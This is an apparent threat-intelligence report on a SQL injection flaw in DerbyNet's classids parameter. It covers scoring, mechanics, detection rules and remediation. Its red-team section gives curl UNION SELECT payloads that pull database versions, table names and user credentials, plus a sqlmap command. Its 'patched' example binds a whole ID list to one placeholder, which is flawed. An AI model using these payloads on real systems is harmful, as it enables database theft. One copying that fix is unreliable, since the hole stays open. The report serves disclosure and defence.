CVE-2024-30928

Executive Summary

CVE-2024-30928 is a critical SQL Injection vulnerability discovered in DerbyNet version 9.0 and below. The flaw resides in the ajax/query.slide.next.inc endpoint, specifically within the handling of the classids parameter. An unauthenticated, remote attacker can inject arbitrary SQL commands, leading to complete compromise of the database backend. This includes the potential for data exfiltration, modification, and in some configurations, remote code execution via database features like xp_cmdshell (on SQL Server) or INTO OUTFILE (on MySQL). The vulnerability is publicly known, and proof-of-concept (PoC) code is available, yet no official patch has been released by the vendor, DerbyNet. The CVSS v3.1 base score is 10.0 (Critical) due to the network attack vector, low attack complexity, no privileges required, no user interaction, and high impact on confidentiality, integrity, and availability.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex scenarios are required.
• Privileges Required (PR): None (N) - No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete disclosure of all database contents is possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Database operations can be disrupted or the service can be taken offline.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full database compromise makes this a top-priority vulnerability for any organization using DerbyNet.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection flaw in the ajax/query.slide.next.inc script. The classids parameter is likely used to filter slides or queries based on class IDs. The application fails to sanitize or parameterize this user-supplied input before incorporating it into a SQL query.

Mechanism:

1. The application receives an HTTP request to the endpoint ajax/query.slide.next.inc.
2. It extracts the value of the classids parameter from the request (GET or POST).
3. This value is directly concatenated into a SQL query string, for example:

   SELECT * FROM slides WHERE class_id IN ($classids)
   

4. An attacker can inject a malicious SQL payload by providing a crafted classids value, such as:

   1) UNION SELECT username, password FROM users--
   

5. The resulting query becomes:

   SELECT * FROM slides WHERE class_id IN (1) UNION SELECT username, password FROM users--)
   

6. This allows the attacker to retrieve arbitrary data from other tables, bypass authentication, or execute administrative database commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - PHP):

<?php
// ajax/query.slide.next.inc
$classids = $_GET['classids'];
$query = "SELECT * FROM slides WHERE class_id IN ($classids)";
$result = mysqli_query($conn, $query);
// ... process result
?>

Patched Code (Conceptual - PHP):

<?php
// ajax/query.slide.next.inc
$classids = $_GET['classids'];
// Use prepared statement with parameterized query
$stmt = $conn->prepare("SELECT * FROM slides WHERE class_id IN (?)");
$stmt->bind_param("s", $classids);
$stmt->execute();
$result = $stmt->get_result();
// ... process result
?>

Note: For multiple IDs, a dynamic parameterized approach or proper input validation (e.g., ensuring only numeric values) is required.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install DerbyNet v9.0 on a local server (e.g., using XAMPP or a dedicated LAMP stack).
2. Ensure the ajax/query.slide.next.inc endpoint is accessible.
3. Use a tool like Burp Suite or curl to send requests.

Exploitation Steps:

1. Identify the vulnerable parameter:

   curl "http://target/derbynet/ajax/query.slide.next.inc?classids=1"
   

   Observe a normal response.

2. Test for SQL injection:

   curl "http://target/derbynet/ajax/query.slide.next.inc?classids=1'"
   

   Look for a database error message (e.g., MySQL error).

3. Extract database version:

   curl "http://target/derbynet/ajax/query.slide.next.inc?classids=1 UNION SELECT @@version,2,3--"
   

4. Extract table names:

   curl "http://target/derbynet/ajax/query.slide.next.inc?classids=1 UNION SELECT table_name,2,3 FROM information_schema.tables--"
   

5. Extract user credentials (example):

   curl "http://target/derbynet/ajax/query.slide.next.inc?classids=1 UNION SELECT username,password,3 FROM users--"
   

Automated Exploitation (sqlmap):

sqlmap -u "http://target/derbynet/ajax/query.slide.next.inc?classids=1" --batch --dbs

Blue Team (Detection & Response)

Detection Steps:

1. Monitor Web Server Logs: Look for requests to ajax/query.slide.next.inc containing SQL keywords like UNION, SELECT, FROM, WHERE, --, #, ', ", OR, AND.
2. Database Monitoring: Enable database query logging and look for anomalous queries originating from the web application user.
3. WAF Rules: Deploy Web Application Firewall (WAF) rules to block SQL injection patterns in the classids parameter.

Response Steps:

1. Isolate: Immediately block the attacking IP address at the firewall.
2. Contain: Take the affected DerbyNet server offline or disconnect it from the network.
3. Analyze: Review database logs to determine the extent of data exfiltration or modification.
4. Remediate: Apply the virtual patch (see Remediation) or remove the vulnerable endpoint until a permanent fix is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /ajax/query.slide.next.inc with a classids parameter containing SQL syntax.
  • Outbound database connections from the web server to unusual IP addresses (data exfiltration).
• File System IOCs:
  • Unexpected files in the web root (e.g., .txt, .csv files created by INTO OUTFILE).
• Database IOCs:
  • New or modified database users.
  • Unusual queries in the database logs, especially those containing UNION, INFORMATION_SCHEMA, or xp_cmdshell.
  • Stored procedures or triggers that were not previously present.

Detection Engineering

YARA Rule

rule CVE_2024_30928_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-30928 in DerbyNet"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-30928"
    strings:
        $s1 = "classids=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "INFORMATION_SCHEMA" nocase
        $s6 = "xp_cmdshell" nocase
        $s7 = "INTO OUTFILE" nocase
        $s8 = "1=1" nocase
        $s9 = "1=2" nocase
        $s10 = " OR " nocase
        $s11 = " AND " nocase
        $s12 = " --" nocase
        $s13 = " #" nocase
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5, $s6, $s7, $s8, $s9, $s10, $s11, $s12, $s13))
}

Sigma Rule

title: SQL Injection Attempt Against DerbyNet CVE-2024-30928
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the classids parameter in DerbyNet's ajax/query.slide.next.inc endpoint.
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - 'ajax/query.slide.next.inc?classids='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION SELECT in a non-malicious context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30928 SQL Injection Attempt - DerbyNet classids"; flow:to_server,established; content:"ajax/query.slide.next.inc"; http_uri; content:"classids="; http_uri; pcre:"/(UNION|SELECT|FROM|INFORMATION_SCHEMA|xp_cmdshell|INTO OUTFILE|1=1|1=2| OR | AND | --| #)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: If using a WAF, create a custom rule to block requests to ajax/query.slide.next.inc that contain SQL keywords in the classids parameter.
2. Input Validation: Implement server-side validation to ensure the classids parameter contains only numeric values (e.g., is_numeric() in PHP).
3. Disable Endpoint: If the functionality is not critical, remove or rename the ajax/query.slide.next.inc file.

Long-Term Fix:

1. Code Rewrite: The vendor must rewrite the vulnerable code to use parameterized queries (prepared statements) or stored procedures.
2. Security Audit: Conduct a full security audit of the DerbyNet codebase to identify and fix similar vulnerabilities.
3. Update: Apply the official patch when it becomes available from DerbyNet.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters-it.com.